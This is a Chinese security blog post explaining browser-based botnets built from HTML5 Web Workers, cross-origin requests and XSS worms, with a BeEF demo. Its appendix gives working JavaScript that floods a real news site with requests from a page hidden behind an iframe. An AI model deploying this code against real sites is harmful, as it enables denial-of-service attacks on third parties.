0%

浅谈Web前端僵尸网络

转载自Freebuf,虽然原作者就是我。。

Web前端僵尸网络的基本原理

僵尸网络(Botnet)已出现多年,对网络安全构成了巨大的挑站。随着攻防技术的发展,除了基于PC和服务器的传统僵尸网络,近年来,还出现了多种形态的僵尸网络,如基于智能手机、IOT设备或者Webshell等等的新型僵尸网络。

除此之外,本文将介绍一种基于Web前端的僵尸网络。在新的HTML5标准越来越广泛地被使用之后,HTML5的强大功能为构建僵尸网络提供了可能性。由于这种僵尸网络基于支持HTML5的Web前端浏览器,所以其权限很低。不过,基于Web前端的僵尸网络至少可以用作DDOS攻击,如果处理得当,也可以用作对HTTP服务器进行扫描等操作。

下面是本文总结的Web前端僵尸网络的技术基础:

1、HTML5 新增技术——Web Worker技术。这是一种多线程机制,使得浏览器可以在不影响用户操作的同时处理其他事务,这为恶意的JS脚本提供了异步环境;

2、HTML5 新增机制——跨域资源共享机制(CORS)。CORS处理机制工作在浏览器层面,如果服务器不允许跨站,浏览器将拦截服务器返回的结果。也就是说即使是跨域请求,服务器也同样会处理,并正常返回请求的资源。这个技术本身其实不对僵尸网络构成支持,但是HTML5支持CORS机制之后并未禁止跨域发送请求,这就成了前端僵尸网络立足的关键;

3、Web蠕虫。类似于传统的蠕虫病毒,Web蠕虫使前端僵尸网络可以自行传播,结合Web蠕虫,前端僵尸网络可以相对容易地形成规模。

以上三个技术点,合成在一起,为僵尸网络的存在提供了基本条件。下面进行详细介绍。

Web Worker

Web Worker 是运行在后台的 Javascript,独立于其他脚本,不会影响页面的性能。下面简单列举一下Web Worker能够做什么。

  1. 可以加载一个JS进行大量的复杂计算而不挂起主进程,用户可以在Worker运行期间做点击、选取内容等等任何事情;

  2. 可以通过postMessage,onmessage方法进行线程通信;

  3. 可以在Worker中通过importScripts(url)加载另外的脚本文件;

  4. 可以使用 setTimeout,clearTimeout,setInterval,clearInterval等方法;

  5. 可以使用XMLHttpRequest来发送请求,以及访问navigator的部分属性。

Web Worker增强了浏览器的能力。功能强大了,危险性也随之增大了。

CORS跨域资源共享机制

跨域HTTP请求(Cross-site HTTP request)是一类相对特殊的浏览器请求,这种请求不是浏览器向在本页面为它提供资源的域名发起的,而是浏览器向其他的域名发起的。CORS机制可以让Web应用服务器能支持跨站访问控制,从而使得安全地进行跨站数据传输成为可能。

很多文章和资料对CORS机制内部工作原理解释的不够清楚,导致本人一度以为CORS是在跨域请求发出时拦截或者在服务器层次禁止了资源的返回。然而实际上CORS安全机制并没有针对服务器提供任何保护。

本文只针对XMLHttpRequest总结以下几点:

  1. XMLHttpRequest请求可以发送到跨域服务器;

  2. 跨域服务器会对之前的XMLHttpRequest做出响应;

  3. 跨域服务器对XMLHttpRequest的响应和正常访问这个服务器产生的响应没有任何区别;

  4. 未能加载服务器资源的原因是浏览器对跨域资源做出了拦截限制。

因此,对于服务器来说,假设有10000个XMLHttpRequest同时对某资源发出请求,以上的请求与10000个用户同时用浏览器正常访问这个资源是等价的,因为都要做同样的处理,都要返回同样的内容。这也就是说,使用Web Worker和XMLHttpRequest进行DDOS攻击是可行的。

Web蠕虫

Web蠕虫是Web前端僵尸自行传播的方法。这种机制利用的是传统前端漏洞,例如XSS漏洞。

img

本文没有尝试实现僵尸节点(Web前端)和控制端的交互,这需要更复杂的JS代码,顺便提一下已经实现此类功能的BeEF XSS框架。

这个框架很流行,集成了很多功能,甚至能够结合MSF使用。但是这些不在本文的探究范围之内。本文只对这个框架控制端和僵尸节点的交互进行演示。

Kali Linux系统中集成了这个工具,本文用Kali Linux虚拟机进行演示。

打开BeEF框架之后如图所示,不要关闭这个终端,等待程序加载完成后,一般情况下浏览器会弹出,如果没有弹出,打开浏览器手动输入终端中显示的UI URL。

img

默认的用户名和密码都是beef。登录成功后的页面如下:

img

首页上有一些被植入恶意Javascript的Demo。为了演示的方便,使用实体机的Safari浏览器进行访问,将会在左侧显示信息。接下来按照下图点击到如下页面。

img

点击红色圆圈中的Execute之后,将会在用户浏览器执行上面方框中输入的Javascript代码,给用户的浏览器弹出一个对话框,下图是实体机的Safari浏览器中的效果:

img

通过这种方式,就可以在用户的浏览器中执行控制端需要僵尸节点执行的代码。有兴趣的朋友可以去读一下BeEF框架中hook.js文件源代码,应该会有很多启发。

僵尸网络节点代码测试(源代码根据《Web前端黑客技术揭秘一书》实例修改)

测试的思路是:植入恶意Javascript代码,批量对某网站发送100次XMLHttpRequest,此次尝试的对象是腾讯的网站,因为单个节点的100次请求肯定对腾讯服务器无影响。攻击url为:http://news.qq.com/photo.shtml,用户访问的url为:http://localhost/botnet/index.html,测试代码见附录。

通过Wireshark和chrome浏览器network开发者工具对测试结果进行分析:

Wireshark抓到的tcp流:

img

详细查看Response:

img

Chrome:

img

img

可以看到,Wireshark抓到了Response是有资源数据的,但是Chrome中得到的只有服务器返回的状态信息,这是CORS机制在浏览器层次对于跨域资源做了限制。

但是,Wireshark抓包得到的数据可以证明服务器实实在在地对每个请求都做出了正常的响应。当这样的僵尸节点数目和Web Worker并发数目都增大到一定的等级,理论上就可以形成强大的DDOS攻击了。

总结

HTML5时代的Web前端已经不再那么简单。支持HTML5的浏览器,给了僵尸网络足够的生存空间。

附录:测试代码(根据《Web前端黑客技术揭秘》示例代码修改)

run_worker.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
var worker_loc= 'worker.js';

var workers = new Array();

var i = 0;

var noWorker = typeof Worker =="undefined" ? true : false;

var target = 'http://news.qq.com/photo.shtml'

if (!noWorker) {

try {

for(i = 0; i < 1; i++) {

workers[i] = new Worker(worker_loc);

workers[i].postMessage(target);

}

}

catch(e) {

//comment out in release

e =e + "";

if(e.indexOf("Worker is not enabled") != -1) {

noWorker = true;

}

}

}

​ 当浏览器支持Web Worker的时候,就会根据代码循环建立Worker。利用new worker(worker_loc)方式,创建Worker对象,并利用Worker的postMessage方法向worker发送指令等数据。多个Worker可以实现并发。但是本例只建立了一个Worker。

worker.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function makeRequest(base) {

varfullUrl = base

varhttpRequest = new XMLHttpRequest();

httpRequest.open("GET", fullUrl, true);

httpRequest.send(null);

}

function dos(base) {

var i =0;

for (i= 0; i < 100; i++) {

console.log(base);

makeRequest(base);

}

}

self.onmessage = function (e) {

base =e.data;

dos(base);

}

Web Worker可以使用XMLHttpRequest发送跨域请求。这个函数可以使用GET和POST两种方法,一般使用GET方法就可以了,但是POST方法不限制发送长度和字符,有些情况必须要用POST方法。本例中采用GET方法测试。

index.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<style>

#page{width: 100%; height: 100%;}

body{margin:0}

</style>

<script type="text/javascript">

varworker_loc = 'worker.js';

</script>

<script type="text/javascript" src="run_worker.js">

</script>

</head>

<body>

<iframe id="page"name="page" src="http://www.example.com" frameborder=

"0"noresize="noresize"style="overflow:visible"></iframe>

</body>

index.html几乎没有更改,因为这个网页的内容对恶意javascript的测试没有影响。

补充

其实在这里写一遍就想补充一下。

的确,利用XSS蠕虫弄一个门户网站估计费劲不说也会马上被修复,但是,仔细想想,好像有不用XSS就产生了很大效果的事件吧。

补充到此结束。